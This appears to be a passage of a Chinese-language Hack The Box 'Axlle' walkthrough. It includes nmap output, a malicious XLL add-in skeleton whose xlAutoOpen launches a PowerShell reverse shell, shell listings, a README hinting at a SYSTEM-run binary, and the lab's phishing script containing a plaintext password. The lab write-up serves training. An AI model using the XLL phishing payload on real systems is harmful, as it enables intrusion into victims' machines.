25/tcp open smtp syn-ack ttl 127 hMailServer smtpd | smtp-commands: MAINFRAME, SIZE 20480000, AUTH LOGIN, HELP |_ 211 DATA HELO EHLO MAIL NOOP QUIT RCPT RSET SAML TURN VRFY 53/tcp open domain syn-ack ttl 127 Simple DNS Plus 80/tcp open http syn-ack ttl 127 Microsoft IIS httpd 10.0 |_http-server-header: Microsoft-IIS/10.0 | http-methods: | Supported Methods: OPTIONS TRACE GET HEAD POST |_ Potentially risky methods: TRACE |_http-favicon: Unknown favicon MD5: FAF2C069F86E802FD21BF15DC8EDD2DC |_http-title: Axlle Development 88/tcp open kerberos-sec syn-ack ttl 127 Microsoft Windows Kerberos (server time: 2024-06-2219:04:46Z) 135/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 139/tcp open netbios-ssn syn-ack ttl 127 Microsoft Windows netbios-ssn 389/tcp open ldap syn-ack ttl 127 Microsoft Windows Active Directory LDAP (Domain: axlle.htb0., Site: Default-First-Site-Name) 445/tcp open microsoft-ds? syn-ack ttl 127 464/tcp open kpasswd5? syn-ack ttl 127 593/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 636/tcp open tcpwrapped syn-ack ttl 127 3389/tcp open ms-wbt-server syn-ack ttl 127 Microsoft Terminal Services 5985/tcp open http syn-ack ttl 127 Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP) |_http-server-header: Microsoft-HTTPAPI/2.0 |_http-title: Not Found 9389/tcp open mc-nmf syn-ack ttl 127 .NET Message Framing 49664/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 49669/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 64803/tcp open ncacn_http syn-ack ttl 127 Microsoft Windows RPC over HTTP 1.0 64804/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 64811/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC 64824/tcp open msrpc syn-ack ttl 127 Microsoft Windows RPC
We apologise for the inconvenience and appreciate your patience as we work to improve our online presence.
If you have any outstanding invoices or requests, please email them to accounts@axlle.htb in Excel format. Please note that all macros are disabled due to our security posture.
We will be back as soon as possible. Thank you for your understanding.
解壓完成后會得到一些編譯需要的文件，但是編譯好的Github的代碼好像不工作，你可以看到他是 int xlAutoOpen() ，經過實際測試int好像有點問題，這也是後來隊友發現的：
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17
#include <windows.h> #include "XLCALL.H"
//This is an example code snippet for the XLL/XLSX manipulation detailed in this paper. //This snippet was not written to be able to compile on its own, you will need to take and modify the code to suit your needs.
//Byte array containing xlsx spreadsheet to be dropped in appdata\local\temp BYTE xlsx[1] = {0xFF};
//Byte array containing second zip folder with the same folder, but the xlsx spreadsheet instead of the XLL. To replace original zip. BYTE zipfile[1] = {0xFF};
short __stdcall xlAutoOpen() { system("powershell b64 reverse"); return1; }
Mode LastWriteTime Length Name --------------------------- d-----1/1/202410:03 PM App Development d-----1/1/20246:33 AM inetpub d-----6/22/20246:13 PM mane d-----5/8/20211:20 AM PerfLogs d-r---6/13/20242:20 AM Program Files d-----6/13/20242:23 AM Program Files (x86) d-----6/22/20246:42 PM temp d-r---1/1/20244:15 AM Users d-----6/13/20244:30 AM Windows
Mode LastWriteTime Length Name --------------------------- d-----1/1/20243:33 AM Addons d-----1/1/20243:33 AM Bin d-----6/23/20244:50 AM Data d-----1/1/20243:33 AM Database d-----1/1/20243:33 AM DBScripts d-----1/1/20243:33 AM Events d-----1/1/20243:33 AM Languages d-----1/1/20243:33 AM Logs d-----1/1/20243:33 AM PHPWebAdmin d-----1/1/20243:33 AM Temp -a----1/1/20243:33 AM 56839 unins000.dat -a----1/1/20243:33 AM 718530 unins000.exe
Privilege Name Description State ============================= ============================== ======== SeMachineAccountPrivilege Add workstations to domain Disabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Disabled
Privilege Name Description State ============================= ============================== ======= SeMachineAccountPrivilege Add workstations to domain Enabled SeChangeNotifyPrivilege Bypass traverse checking Enabled SeIncreaseWorkingSetPrivilege Increase a process working set Enabled PS C:\Windows\system32>
PS C:\App Development> cd * cd * PS C:\App Development\kbfiltr> ls ls
Directory: C:\App Development\kbfiltr
Mode LastWriteTime Length Name --------------------------- d-----1/1/202410:03 PM exe d-----1/1/202410:03 PM sys -a----12/14/202311:39 AM 2528 kbfiltr.sln -a----6/11/202411:16 PM 2805 README.md
程序員要養成一個好的習慣，就是要從 README.md 開始看：
Keyboard Translation Program
This is an application in development that uses a WDF kbfiltr as the basis for a translation program. The aim of this application is to allow users to program and simulate custom keyboard layouts for real or fictional languages.
Features
Create custom keyboard layouts for real or fictional languages.
Simulate keyboard inputs using the custom layouts.
Secret codes to switch between languages and logging output.
Progress
kbfiltr driver - Complete
Keyboard mapping - Complete (hardcoded in driver)
Custom mapping in application layer - In progress
Logging - Complete
Activation of logging - Complete
Simulation of other keyboard layouts - Incomplete
Activation of other keyboard layouts - Incomplete
NOTE: I have automated the running ofC:\Program Files (x86)\Windows Kits\10\Testing\StandaloneTesting\Internal\x64\standalonerunner.exe as SYSTEM to test and debug this driver in a standalone environment
Prerequisites
Windows 10 or higher
Visual Studio 2019
Windows Driver Kit (WDK) 10
Getting Started
Clone this repository.
Open the solution file in Visual Studio.
Build the solution in Release mode.
Install the driver by running .\devcon.exe install .\kbfiltr.inf "*PNP0303" as Administrator.
Install the driver as an upperclass filter with .\devcon.exe /r classfilter keyboard upper -keylogger as Administrator.
Install the application by running the install_app.bat file as Administrator.
Reboot your computer to load the driver.
Launch the application and start programming your custom keyboard layouts.
Usage
Programming a Custom Layout
Launch the application.
Click on the Program Layout button.
Select the language for which you want to program the layout.
Select the key you want to modify from the list.
Modify the key’s scancode and virtual key code as required.
Repeat steps 4 and 5 for all the keys you want to modify.
Save the layout by clicking on the Save Layout button.
Simulating Inputs
Launch the application.
Click on the Simulate Input button.
Select the language for which you want to simulate the input.
Type in the input in the normal English layout.
Trigger language switch as outlined below (when required).
Verify that the input is translated to the selected language.
Logging Output
Launch the application.
Turn on logging (shortcuts can be created as explained below)
Use the application as normal.
The log file will be created in the same directory as the application.
Triggering/Activation
To toggle logging output, set up a shortcut in the options menu. INCOMPLETE
To switch to a different language, press the Left Alt key and the Right Ctrl key simultaneously. INCOMPLETE
#Make a filename with a timestamp so there are no overwrites $filename = "Content-Description:(.*?)Content-Disposition:" $filestring = Get-Content$importPath $fileresult = [regex]::match($string, $filename).Groups[1].Value $filename = $fileresult.replace(" ", "") $filename = "C:\Program Files (x86)\hMailServer\Data\axlle.htb\Attachments\$((Get-Date).ToString('ddMMyyyyhhmmssffff'))-$filename"
#Output the file $ByteArray = [System.Convert]::FromBase64String($base64) [System.IO.File]::WriteAllBytes($filename, $ByteArray)
#Sleep so it doesn't overwrite files named the same thing sleep-milliseconds10 #Remove the folder it's in to stay fresh Split-Path-Path$importPath-Parent | rm-r } }
$killInterval = 120# Time in seconds to cleanup $phishingInterval = 10# Time in seconds to run GoPhishing function $timer = 0# Initialize timer
Do { $SecPassword = ConvertTo-SecureString'9pW2H2mug4Ek*'-AsPlainText-Force; $Cred = New-Object System.Management.Automation.PSCredential('gideon.hamill', $SecPassword); MoveTheFiles; # Extract the attachments GoPhishing; # Run the payloads
# Increment timer by phishing interval $timer += $phishingInterval
# Check if it's time to kill cleanup if ($timer-ge$killInterval) { sleep-seconds2 rm-ErrorAction SilentlyContinue -Recurse-Force C:\Users\gideon.hamill\AppData\Local\Temp\Diagnostics; # Clean up rm-ErrorAction SilentlyContinue -Force"C:\Program Files (x86)\hMailServer\Data\axlle.htb\Attachments\*"; # Clean up rm-ErrorAction SilentlyContinue -Force"C:\Program Files (x86)\hMailServer\Data\axlle.htb\ReviewedAttachments\*"; # Clean up $timer = 0# Reset timer }
使用上面的鏈接加入 HTB 的 academy 就可以免費看 Tire 0 的所有教程，這對初學者來説是很友好的。 （建議先完成 INTRODUCTION TO ACADEMY）
Join HTB’s academy with this link to get free access to all the tutorials for Tire 0. This is very beginner friendly. (It is recommended to complete INTRODUCTION TO ACADEMY first)
